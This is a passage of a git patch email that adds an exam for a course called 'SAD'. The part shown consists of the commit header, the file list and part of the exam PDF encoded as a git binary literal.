From 4a0189e00f9398bb9bd78b55a9dedd0dbbd2cc33 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Nicol=C3=A1s=20A=2E=20Ortega=20Froysa?= Date: Wed, 15 Feb 2023 17:59:38 +0100 Subject: [PATCH] SAD: add exam MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Nicolás A. Ortega Froysa --- 2/SAD/exams/examen-naortega.pdf | Bin 0 -> 39250 bytes 2/SAD/exams/examen-naortega.tex | 209 ++++++++++++++++++++++++++++++++ 2/SAD/exams/examen-naortega.toc | 7 ++ 3 files changed, 216 insertions(+) create mode 100644 2/SAD/exams/examen-naortega.pdf create mode 100644 2/SAD/exams/examen-naortega.tex create mode 100644 2/SAD/exams/examen-naortega.toc diff --git a/2/SAD/exams/examen-naortega.pdf b/2/SAD/exams/examen-naortega.pdf new file mode 100644 index 0000000000000000000000000000000000000000..6c7adaba314e6c9094f893655438077536cfa700 GIT binary patch literal 39250 zcmb6AQ?Mw@7A=Yn&tcoPZQHhO+qP}nwr!hp*tYLFFW$%AadzBT_p36hDk`d4_Ux@y z>pe;2g+*x?Xjvdhj_$7CAldQh@$C#PA-TEfL@lhHO&sY&tqq(_giVa>j7{jIO>E7a z&G8wTSa^9Motzy_3~V6XH$&q4WPur=N8NG<>EiXd?(@V~U{U}gV9r^G`L#A90$%kj z+14t6Cq-hf>G=H6-hhFkMf9Odi$44h?T~j3^?qVLQF8Sl(5on+s?G49E63&6yEEC; zuRXT8bNk<^2MuIM@6qBAR)(i zB0hHz4uy{M8?Q(exS3+48`Hdwo=W69Ig5+B3eOKTWK!k_QO%Z!ca_hh%PXOhNmo=@ z$q>I!UMswFzhW#N^*Us1bJ={!uLSD$$48?-e6rpfdAUEwmQYr*b#Nd}Y>of_U;WSM z|G>mZ|8MYOW@7(OyslLSWQXXXdmd5V1HiT@W17!({^DC`;e4CYD7EtFutAQNKGo{>pa;C5HCypNZ>ULS>D~HNdE0-%K zd=;U=n8I99k&97!%n?4vKU#Q)9$Rn4?`11@I{J@uW+K5&RK_@LLtNW+Np&&wtT0zx zhKq8=PBG(2`3blb@&jDYQOH)EFe+EMHj_=X^?LUQaZ?#Ceb z)p?|dJLx`Ofe^;u2y3k?_F&_6j4IVwWQ&V}l@D1IZzd&ZlCIfeBc0PqyYZwMT%Ou( zzumxSxUTfq3^ZxYp(9L$qt-T=*>uRqrB>Ft@iBzf6912>XZtr(&%nmO`k!-utT7XN z$O_&2O7R7xK%(de2IfRQPdl#_)q%n@d|zCK+j;9(P9A}X!nNVN%HKr}maFcE{GLEa z;rU_3m?Z0G3P}&jSH&)u#-}t^_Vl&j>*t=;`wKyagp6)h)^-`JIbvRx6lb|=;Hl;3 zwXiARd2l&lUZaG>4?L^sb)ma>Tgg)D)^2G-TSo?cQ_>9IZc>EZWLBdjre(8a*)@rg z?$v%=+dXu7YsW{HYrrTvGYfd1y`G0qhU5;)^cY!UmD}QV@@&LU8EgLjZH5UUw$+HR~(RXda5IUW#+z{DkUfqeVZAVE#T#3mj*_O>w3*3Z_c3sLQqZB zT5GrkD}}mC3IyA+5{tqO3cpQ>LhCVwx7X-5KPl7aYgw09B~}06-XJCJPQgX==zi@S z%;ex$A`(JstD3k~Uq@zUttwhngdOQOyt@AAVHY==<2E5#bf+${*c@gxiS3Cf%37?e zgEws}lU0l@K0Cq5m>#@c5?kZrOFz;Tuk>*116v#Oq1ZC->8%;w!2Kg_gG;bP)Kd>Q zv{=4OM5{xMWl=&Ir@;Hr#`!KOU8I_>dl4bmwJtRf>WcxjB|lSIQw622F|`Tg&84q%lcVVHnGJ=8r#V+)57cG0ab$^O!BBxBTYJRVfhXEydwRUV|~jb0S~PK=9RneXcMbvhY=B!;iQ}4m!2u;nWAX$ zOOytnlibVnX=l#0Wzn(Z>Nlz?UY<`7P5DXXVn=NsYS)nE(mQv&jT!Qn&=wBQ>HzDd zQYkW@ZQ~fGnY0Dmo82;dleQ4WoG6M+x-7+jyu_yptt5*hhDilU8oQZ=)U}b4d!)ju z#KU&O*>Fz@HS0kNo%`iaXO@pC4U}rg0VQNcN!k7g&z1C_PNDr+lYHWWl~rMk{%isI z%#E{@QZW{;2^@M!RbI)E;LeWcggdYp$2*%iO>ms3(zdS`pFh^G zqi81qUgQQgYw-b$WQ;+fBr+Q1M*R1iR6sSw*(z%JrK!wBsF6M77)}`rm17<*RTH+- ztZiUT8X%OZBFwc5R@&k9;|LLsDU5;k6r?PoJP>I`GZ zLw0PJVlPuynMcyn*=)qQ?B`EZh#NwbJ*+yi{95-og1(aZuc_rvnit2YTiIWl3ATA! zM^26U3D?H8_w}XpxlqADqm+c$@0+``k6InXtvghz?}pB_nJ270aS@zEIdu%d&VBs3 zQ=nUT+1Xq?RC~M9NYD+?WH$(8%BThuoJj6W6)EYPWZ~lxP5umHUCgB!G>KXDnGsD&?QW?2GRpCyG zH3cn1i;ncOC_U=pT6HczY}tr{<@WWy?PEps^@^@{mGcYqty)SZ8hL6qCA~mf%s5Sa zz92pHI7fCo$eB8Z__fCK!1A3Syv)v`S^>xdfVkdGdRiafZk6Mx0FYM3XO+G(zdvXt*3(vPVJFB-Ap1$WkKQFGYFDdr7Mt`~c zJ69f%wq;DXG3~UKl%cKnJ-XTBB&UjA+#aXeo{tyIx!IK$%q>3zO|<#Gx-oghOHj2_ zLBAp2pQ65=$FpVANi*CCrdHfvk59282-saZD@lK5mWNe%Sg~=a>YUOz-XnBH8=8?G zLEiz9t=q_&V-sqDV);J%5{2cqBei~ATr(lsp89^C5bAik`{|;GP291f_?aV@mRZu6 zF^t>#4bSSX<^9(TNL&_G(MtPgd_ywI*-b64;ifMf?E>>SN@=__^d@j8!XVTKoo=DA zk_Ru>^(u9oAe86lVw!^SgII`y1)msXy*TdqDY#s_BFJ2bmytNX1!j}cyUmJI+z*kE z5F-hlYF`EnMcd=o-c4cPxy_1>$aT3&*zdrvLrxnQV`#X;AGV8$N&P9ND? zJKIC7P}{O{ZW&n_k$^n}>ZwV&-ydFbxq&aSVL6(vCpV7M8W>5(cRAugQAni}0=+fKSo1=K(1b+qDNYDqSl(u9 zhgs0(a@KwOIiC0#z5R%*>jH3HPdB+;ho1L`6WRjmkp45}^U#mgd8r{J5n|=U0pF?a zpk%HCtqoI<5frdcq!d3d|Kh`s9eZ*?+MTQ@V^E`fvuRverSKd zb>w;ct3smfkYNXikFNXd8Dm{hb9k`cS5upb>40c_|9T7uALt<8xXX#T{~D*TdfT0p za)~8F^E}g~{FL)=%@&N_nN>136Bno=$wrmC%qfXz!ZmAtz-H7}1P+j@+N%3O7l{|m zo$$686As%jI*?VkkMj^bS-^IXI9^Cuqd^R$({gV`J3@Wwgx!9{PcOQ;kWX;h^sr$0 zvbMC8fW*s4!VC8_XS~67@BpIGE99+Ef;Q1VMBU|c)%pWgt}Da#m)cff>T9_9n=Fxy zkxALwXo#G5*lmj6awTG&v|m<>$ggYC1X(dd6g_Nce^hvnuBL_xkUb9HVm2cO{$+lX zE@~}Wk!uOmEltXSwsrseVSJN6a$lVpMbf=u_>5YCunjw?b0?%58dPN~Wr@U_|moAYsyx1$}ZGt2=eT{_u*TiaJu`X5r zj_PL>+say01#)8tHQh_5@MU+Dayf9cGH%LH6NGMKvy2B}yp(ki+0KjP&TL@J7pLS5&8+?#Yqx}}am^U}_#Ljma``E{x$wD8iJskJ_GfgdUf-D^twJ*Wdr z40*^l#;C)Zd}9ZdwI3bti;00c(REcek({MSp6LD3Av`_h^ur6$wub% z66yxGY$QoM$M|k@?xgd5_)bMA>VBjc!Jf*`@u}&0LzCMBzD0Uehz2g!P%DnvE2kY1 zrul4D4*DEQ%(CHeX*}%=JlRY81vTpBih^_vqdr;K9+y}` zhY9maoHvRzNa|N?;gT)y+T(Lr(QykZp2p}12cwc${1os*QBpj?D>x)Puo^J*Y| z0gFA<7h!*%-vkoFJbVYNVPJ8b7eqC{H0t6v&@A%Xp>wlLII^Rrr0#7ctskw}Im;B~ zo`K7H3O~TJag`Ud?5)JOX5b!z=q{
?Otw}lIq&&(-yV4_H!>sbZQe8vJzkSIN` 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 